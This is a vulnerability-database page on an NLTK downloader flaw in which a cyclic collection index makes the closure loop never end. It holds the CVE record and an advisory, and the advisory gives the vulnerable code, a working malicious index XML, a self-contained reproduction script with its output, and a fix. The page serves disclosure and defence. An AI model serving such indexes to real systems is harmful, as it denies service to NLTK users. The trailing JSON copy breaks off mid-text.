Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-128140 (GCVE-0-2026-128140)
Vulnerability from cvelistv5 – Published: 2026-11-19 17:23 – Updated: 2026-11-19 19:08- CWE-835 - Loop with Unreachable Exit Condition
| URL | Tags |
|---|---|
| https://github.com/nltk/nltk/security/advisories/… | x_refsource_CONFIRM |
| https://github.com/nltk/nltk/pull/3767 | x_refsource_MISC |
| https://github.com/nltk/nltk/commit/b77d329db9347… | x_refsource_MISC |
| https://github.com/nltk/nltk/releases/tag/v3.10.4 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-128140",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-19T19:08:12.154341Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-11-19T19:08:28.342Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "nltk",
"vendor": "nltk",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.6.7, \u003c 3.10.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. From 3.6.7 until 3.10.4, nltk.downloader follows collection membership without tracking already visited collection nodes. A self-referencing or mutually referencing collection index can therefore make the package-closure walk loop indefinitely while its queue and memory usage grow, denying service when a victim processes the attacker-influenced index. This issue is fixed in version 3.10.4."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835: Loop with Unreachable Exit Condition",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-19T17:23:24.876Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
},
{
"name": "https://github.com/nltk/nltk/pull/3767",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"name": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"name": "https://github.com/nltk/nltk/releases/tag/v3.10.4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"source": {
"advisory": "GHSA-pcm8-fqjx-rvx8",
"discovery": "UNKNOWN"
},
"title": "NLTK: Downloader cyclic collection indices cause an infinite closure walk"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-128140",
"datePublished": "2026-11-19T17:23:24.876Z",
"dateReserved": "2026-11-12T22:42:47.033Z",
"dateUpdated": "2026-11-19T19:08:28.342Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-128140",
"date": "2026-12-03",
"epss": "0.00401",
"percentile": "0.36482"
},
"microsoft_vex": {
"current_release_date": "2026-12-01T01:06:38.000Z",
"cve": "CVE-2026-128140",
"id": "msrc_CVE-2026-128140",
"initial_release_date": "2026-11-20T18:10:14.000Z",
"product_status:known_affected": "1",
"source": "Microsoft CSAF VEX",
"status": "final",
"title": "NLTK: Downloader cyclic collection indices cause an infinite closure walk",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-128140.json",
"version": "2"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "nltk",
"vendor": "nltk",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.6.7, \u003c 3.10.4"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. From 3.6.7 until 3.10.4, nltk.downloader follows collection membership without tracking already visited collection nodes. A self-referencing or mutually referencing collection index can therefore make the package-closure walk loop indefinitely while its queue and memory usage grow, denying service when a victim processes the attacker-influenced index. This issue is fixed in version 3.10.4."
}
],
"id": "CVE-2026-128140",
"lastModified": "2026-11-19T19:17:21.153",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-128140",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-19T19:08:12.154341Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-11-19T18:18:06.453",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-835"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Moderate",
"current_release_date": "2026-11-20T11:55:57+00:00",
"cve": "CVE-2026-128140",
"id": "CVE-2026-128140",
"initial_release_date": "2026-11-19T17:23:24.876000+00:00",
"product_status:known_affected": "14",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "nltk: nltk: Denial of Service via circular collection references",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-128140.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-128140",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-19T19:08:12.154341Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-11-19T19:08:18.254Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "nltk",
"vendor": "nltk",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.6.7, \u003c 3.10.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. From 3.6.7 until 3.10.4, nltk.downloader follows collection membership without tracking already visited collection nodes. A self-referencing or mutually referencing collection index can therefore make the package-closure walk loop indefinitely while its queue and memory usage grow, denying service when a victim processes the attacker-influenced index. This issue is fixed in version 3.10.4."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835: Loop with Unreachable Exit Condition",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-19T17:23:24.876Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
},
{
"name": "https://github.com/nltk/nltk/pull/3767",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"name": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"name": "https://github.com/nltk/nltk/releases/tag/v3.10.4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"source": {
"advisory": "GHSA-pcm8-fqjx-rvx8",
"discovery": "UNKNOWN"
},
"title": "NLTK: Downloader cyclic collection indices cause an infinite closure walk"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-128140",
"datePublished": "2026-11-19T17:23:24.876Z",
"dateReserved": "2026-11-12T22:42:47.033Z",
"dateUpdated": "2026-11-19T19:08:28.342Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-ACRONYM-CVE-2026-128140 (GHSA-PCM8-FQJX-RVX8)
Vulnerability from osv_homebrew – Published: 2026-11-21 09:27 – Updated: 2026-11-21 09:27 – Source websiteaffected: PyPI
nltk>= 3.6.7—nltk.downloaderindex parsing (Downloader._update_index) dynamically reproduced:nltk3.6.7(4/4 checks),3.9.2(4/4),3.10.3(4/4), anddevelop6818767b9(4/4)
Source references (nltk/downloader.py:NNN) are to commit 6818767b9 (develop, v3.10.3-15-g6818767b9). The v3.10.3 tag and the released 3.10.3 wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at downloader.py:1300-1310). Dynamically verified wheels additionally show the same defect at downloader.py:972 (3.9.2) and downloader.py:987 (3.6.7).
Summary
Downloader._update_index (nltk/downloader.py:1253-1313) is the mandatory first step of every downloader operation (download(), info(), packages(), collections(), list(), status()). After replacing each <item ref="…"> string with the actual Collection/Package object (downloader.py:1285-1290), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:
# nltk/downloader.py:1300-1310
for collection in self._collections.values():
packages = {}
queue = [collection]
for child in queue:
if isinstance(child, Collection):
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
A self-referencing or mutually-referencing index — e.g. <collection id="a"><item ref="a"/></collection> — turns a.children into an object-level cycle, and the for child in queue: queue.extend(child.children) loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.
Details
Root cause is the combination of three unguarded steps:
Collection.fromxml(nltk/downloader.py:362-369) stores each<item ref="…">attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle._update_index(nltk/downloader.py:1285-1290) replaces those ref strings with the live objects fromself._collections/self._packages. A self- or mutual-reference therefore becomes an object-level cycle inchildren.- The closure walk (
nltk/downloader.py:1300-1310) iteratesfor child in queuewhile doingqueue.extend(child.children)inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is novisitedset, no node-count cap, and no cycle detection.
The input is the data-server index that the downloader is designed to fetch and trust: _update_index pulls it with safe_parse(urlopen(self._url)) (nltk/downloader.py:1269-1271) and parses <collections>/<collection> elements with no structural validation. The index URL is a user-configurable product feature (server_index_url constructor argument, CLI -u / --url at downloader.py:3052-3058 — the option's dest is server_index_url — plus NLTK_DOWNLOAD_URL and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.
PoC
The self-checking reproduction script embedded below runs the attack against a file://-hosted index (no network server needed; the hardened nltk.pathsec.urlopen accepts local file:// URLs) and a matching acyclic control index, in separate child processes under an address-space cap (RLIMIT_AS). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by MemoryError at queue.extend(child.children), proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.
Scope note: dynamically verified on the released 3.6.7, 3.9.2, and 3.10.3 wheels and on develop 6818767b9. 3.6.0–3.6.6 share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates 3.6 and earlier releases were not assessed.
Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.
Live transcript (recorded run on the nltk 3.10.3 wheel; the 3.6.7, 3.9.2, and develop 6818767b9 runs produce the same 4/4 result, differing only in the downloader.py line number in the traceback — 987, 972, and 1305 respectively — and the elapsed time):
[PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>)
[PASS] precondition: acyclic control index references only packages
[control] returned rc=0 in 0.2s
[PASS] control: Downloader.packages() returned (no hang)
[PASS] control: _packages parsed = ['p1']
[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)
[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)
[attack] rc=1 after 6.6s
[attack] entering Downloader.packages() on the self-referencing index ...
Traceback (most recent call last):
File "<string>", line 38, in <module>
File "nltk/downloader.py", line 627, in packages
self._update_index()
File "nltk/downloader.py", line 1305, in _update_index
queue.extend(child.children)
MemoryError
[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)
nltk under test: 3.10.3
RESULT 4/4 checks passed, 0 failed
The malicious index is exactly:
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
Impact
- Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.
- Who is impacted: any deployment that uses
nltk.downloader(directly, vianltk.download(), or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (download(),info(),packages(),collections(),status()) funnels through_update_indexand is blocked. - Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.
- Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running
nltk.download()in a script or service turns a single poisoned index into an unresolvable hang.
Suggested fix: add a visited set to the closure BFS so each Collection is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:
for collection in self._collections.values():
packages = {}
queue = [collection]
seen = set()
for child in queue:
if isinstance(child, Collection):
if child.id in seen:
continue
seen.add(child.id)
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic ref chains in Collection.fromxml / during the ref-replacement at downloader.py:1285-1290) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts packages()/info() terminate and either skip or reject the cycle.
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.
Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.
Controls:
* an acyclic index of the same shape completes and yields the expected
closure (the same function, the same caller, under the same memory cap);
* the attack never returns normally: it either keeps running past a hard
timeout (observed hang) or is aborted by the child's address-space cap
(unbounded memory growth) -- in both cases the exact finite input that the
control handles instantly cannot be completed.
Usage:
python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]
Environment:
NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
installed into a scratch dir and put on PYTHONPATH for the
verification children.
NLTK_TIMEOUT hard timeout seconds for each child (default: 60).
MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be
passed as the first positional argument.
"""
import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree
def _default_memcap():
if len(sys.argv) > 1 and sys.argv[1] != "--child":
raw = sys.argv[1]
else:
raw = os.environ.get("MEMCAP_MIB", "512")
try:
value = int(raw)
except (TypeError, ValueError):
print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
return "512"
return str(value) if value > 0 else "512"
MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))
CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
"""
ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Acyclic collection">
<item ref="p1"/>
</collection>
</collections>
</index>
"""
CHILD_DRIVER = r"""
import os
import resource
import sys
import nltk
import nltk.data as nltk_data
mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]
# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)
cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=url)
if mode == "control":
# _update_index() runs to completion here; the acyclic closure is finite.
packages = list(downloader.packages())
ids = sorted(p.id for p in packages)
print("[PASS] control: Downloader.packages() returned (no hang)")
assert ids == ["p1"], ids
print("[PASS] control: _packages parsed = %r" % ids)
col = next(c for c in downloader.collections() if c.id == "a")
closure = sorted(p.id for p in col.packages)
assert closure == ["p1"], closure
print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
sys.exit(0)
elif mode == "attack":
# This call drives _update_index -> the collection-closure BFS. The index
# collection self-references itself, so the BFS never terminates; the queue
# keeps growing until the address-space cap aborts the process.
print("[attack] entering Downloader.packages() on the self-referencing index ...")
_ = downloader.packages()
print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
sys.exit(2)
else:
print("[FAIL] unknown mode %r" % mode)
sys.exit(2)
"""
def build_site_env(workdir):
"""Return (env, site_path_or_None) so the children can import nltk."""
probe = subprocess.run(
[sys.executable, "-c", "import nltk"],
capture_output=True,
)
if probe.returncode == 0:
return dict(os.environ), None
wheel = os.environ.get("NLTK_WHEEL")
if not wheel:
return None, None
site = os.path.join(workdir, "site")
subprocess.run(
[sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
check=True,
)
env = dict(os.environ)
env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
return env, site
def run_child(env, script, mode, url, workdir):
cmd = [sys.executable, script, "--child", mode, url, workdir]
start = time.monotonic()
try:
proc = subprocess.run(
cmd,
env=env,
capture_output=True,
text=True,
timeout=CHILD_TIMEOUT,
)
timed_out = False
except subprocess.TimeoutExpired as exc:
proc = exc
timed_out = True
elapsed = time.monotonic() - start
stdout = proc.stdout if hasattr(proc, "stdout") else ""
stderr = proc.stderr if hasattr(proc, "stderr") else ""
return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed
def main():
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else "")))
with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
cyclic_path = os.path.join(workdir, "index_cyclic.xml")
acyclic_path = os.path.join(workdir, "index_acyclic.xml")
with open(cyclic_path, "w") as fh:
fh.write(CYCLIC_INDEX)
with open(acyclic_path, "w") as fh:
fh.write(ACYCLIC_INDEX)
cyclic_url = "file://" + cyclic_path
acyclic_url = "file://" + acyclic_path
# --- Input modeling preconditions -------------------------------
cyc = ElementTree.parse(cyclic_path).getroot()
col = cyc.find("collections/collection")
check(
"precondition: cyclic index has a self-referencing <collection>",
col is not None and col.get("id") == "a"
and any((it.get("ref") == "a" for it in col.findall("item"))),
"ref='a' inside <collection id='a'>",
)
acy = ElementTree.parse(acyclic_path).getroot()
cola = acy.find("collections/collection")
check(
"precondition: acyclic control index references only packages",
cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
)
env, site = build_site_env(workdir)
if env is None:
print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
return 1
child_env = dict(env)
child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)
# --- Control: acyclic index completes under the same memory cap ---
t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
check(
"control: acyclic index completes and yields the documented finite closure",
(not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
"rc=%s" % rc,
)
# --- Attack: cyclic index must NOT complete ----------------------
t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
if t:
check(
"attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
True,
"process still running, queue growing unboundedly",
)
elif rc is not None and rc != 0:
memory = "MemoryError" in (out + err) or "MemoryError" in err
check(
"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
memory,
"rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
)
else:
check(
"attack: self-referencing index hangs _update_index (vulnerability reproduced)",
False,
"function returned -- cyclic input was handled",
)
# --- Version banner ---------------------------------------------
ver_out = subprocess.run(
[sys.executable, "-c", "import nltk; print(nltk.__version__)"],
env=env,
capture_output=True,
text=True,
).stdout.strip()
print("nltk under test: %s" % (ver_out or "unknown"))
passed = sum(results)
failed = len(results) - passed
print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
return 0 if failed == 0 else 1
if __name__ == "__main__":
if len(sys.argv) >= 2 and sys.argv[1] == "--child":
os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
sys.exit(main())
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).
Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).
Release: none yet; no release tag contains b77d329db.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.4",
"upstream_fixed_in": "3.10.4"
},
"package": {
"ecosystem": "Homebrew",
"name": "acronym",
"purl": "pkg:brew/acronym"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.0_6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.4",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.4"
}
]
},
"details": "\u003e **affected**: PyPI `nltk` `\u003e= 3.6.7` \u2014 `nltk.downloader` index parsing (`Downloader._update_index`)\n\u003e **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)\n\n---\n\n_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._\n\n### Summary\n\n`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `\u003citem ref=\"\u2026\"\u003e` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection\u0027s recursive package closure with a breadth-first walk that has **no visited set and no depth cap**:\n\n```python\n# nltk/downloader.py:1300-1310\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n for child in queue:\n if isinstance(child, Collection):\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\n**A self-referencing or mutually-referencing index \u2014 e.g. `\u003ccollection id=\"a\"\u003e\u003citem ref=\"a\"/\u003e\u003c/collection\u003e` \u2014 turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size \u2014 only its self-reference is abnormal, and nothing validates it.\n\n### Details\n\nRoot cause is the combination of three unguarded steps:\n\n1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `\u003citem ref=\"\u2026\"\u003e` attribute verbatim as a string. It never checks whether a ref targets the collection\u0027s own id, or participates in a reference cycle.\n2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.\n3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python\u0027s list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.\n\nThe input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `\u003ccollections\u003e/\u003ccollection\u003e` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` \u2014 the option\u0027s `dest` is `server_index_url` \u2014 plus `NLTK_DOWNLOAD_URL` and the Shell/GUI \"Set Server URL\"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.\n\n### PoC\n\nThe self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process \u2014 the same function, the same caller, the same finite 2-entry index \u2014 cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.\n\n**Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`\u2013`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed.\n\nEnvironment for the recorded run: 